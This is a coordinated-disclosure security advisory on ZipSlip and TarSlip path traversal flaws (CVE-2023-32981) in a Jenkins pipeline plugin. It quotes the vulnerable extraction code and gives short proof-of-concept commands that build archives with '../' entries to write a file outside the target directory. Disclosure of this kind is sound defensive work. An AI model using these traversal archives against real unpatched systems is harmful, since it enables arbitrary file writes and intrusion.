Coordinated Disclosure Timeline
- 2023-03-30: Issue reported to the Jenkins Security Team.
- 2023-05-16: Issue is fixed and advisory publish.
Summary
Jenkins Pipeline Utility Steps Plugin 2.15.1 and earlier allows attackers able to manipulate a TAR or ZIP file extracted by the plugin to create or replace any file on the file system.
Product
Pipeline Utility Steps Plugin
Tested Version
Details
Issue 1: ZipSlip in UnZipStepExecution.java
(GHSL-2023-058
)
The Jenkins Pipeline Utility Steps Plugin provides the UnZipStep
class, a Jenkins build step that unzips files specified as parameters. The step’s logic is implemented in UnZipStepExecution
:
src/main/java/org/jenkinsci/plugins/pipeline/utility/steps/zip/UnZipStepExecution.java:100
public Map<String, String> invoke(File zipFile, VirtualChannel channel) throws IOException, InterruptedException {
// --snip--
try (ZipFile zip = new ZipFile(zipFile, Charset.forName(charset))) {
logger.println("Extracting from " + zipFile.getAbsolutePath());
Enumeration<? extends ZipEntry> entries = zip.entries();
Integer fileCount = 0;
while (entries.hasMoreElements()) {
ZipEntry entry = entries.nextElement();
// --snip--
FilePath f = getDestination().child(entry.getName());
if (entry.isDirectory()) {
if (!read) {
f.mkdirs();
}
} else {
// --snip--
try (InputStream inputStream = zip.getInputStream(entry);
OutputStream outputStream = f.write()) {
IOUtils.copy(inputStream, outputStream);
outputStream.flush();
}
It can be seen that the destination filepath f
is directly constructed with the names of the entries in the ZIP file, which could contain path traversal sequences (../
) to force the extraction of the file outside of the expected directory, causing an arbitrary file write on the filesystem.
Impact
This issue may lead to arbitrary file write.
PoC
As a proof of concept, a malicious ZIP file can be built and served as follows:
echo "echo PWNED" > /tmp/evil.sh
zip zipslip.zip ../../../../../../../../../../../../tmp/evil.sh
Then, after placing the malicious file in the Jenkins agent filesystem, a new pipeline job can be configured to extract it.
Pipeline script:
node {
unzip 'zipslip.zip'
}
After running the job, the file /tmp/evil.sh
will be present in the filesystem.
Issue 2: TarSlip in UnTarStepExecution.java
(GHSL-2023-059
)
The Jenkins Pipeline Utility Steps Plugin provides the UnTarStep
class, a Jenkins build step that untars files specified as parameters. The step’s logic is implemented in UnTarStepExecution
:
src/main/java/org/jenkinsci/plugins/pipeline/utility/steps/tar/UnTarStepExecution.java:94
public Void invoke(File tarFile, VirtualChannel channel) throws IOException, InterruptedException {
// --snip--
InputStream fileStream = new FileInputStream(tarFile);
// --snip--
getDestination().mkdirs();
try (TarArchiveInputStream tarStream = new TarArchiveInputStream(fileStream)) {
logger.println("Extracting from " + tarFile.getAbsolutePath());
TarArchiveEntry entry;
Integer fileCount = 0;
while ((entry = tarStream.getNextTarEntry()) != null) {
// --snip--
FilePath f = getDestination().child(entry.getName());
if (entry.isDirectory()) {
f.mkdirs();
} else {
// --snip--
if (entry.isCheckSumOK()) {
OutputStream outputStream = f.write();
IOUtils.copy(tarStream, outputStream);
outputStream.close();
It can be seen that the destination filepath f
is directly constructed with the names of the entries in the TAR file, which could contain path traversal sequences (../
) to force the extraction of the file outside of the expected directory, causing an arbitrary file write on the filesystem.
Impact
This issue may lead to arbitrary file write.
PoC
As a proof of concept, a malicious TAR file can be built and served as follows:
echo "echo PWNED" > /tmp/evil.sh
tar cvf tarslip.tar ../../../../../../../../../../../../tmp/evil.sh
Then, after placing the malicious file in the Jenkins agent filesystem, a new pipeline job can be configured to extract it.
Pipeline script:
node {
untar 'tarslip.tar'
}
After running the job, the file /tmp/evil.sh
will be present in the filesystem.
CVE
- CVE-2023-32981
Resources
Credit
These issues were discovered and reported by CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-058
or GHSL-2023-059
in any communication regarding these issues.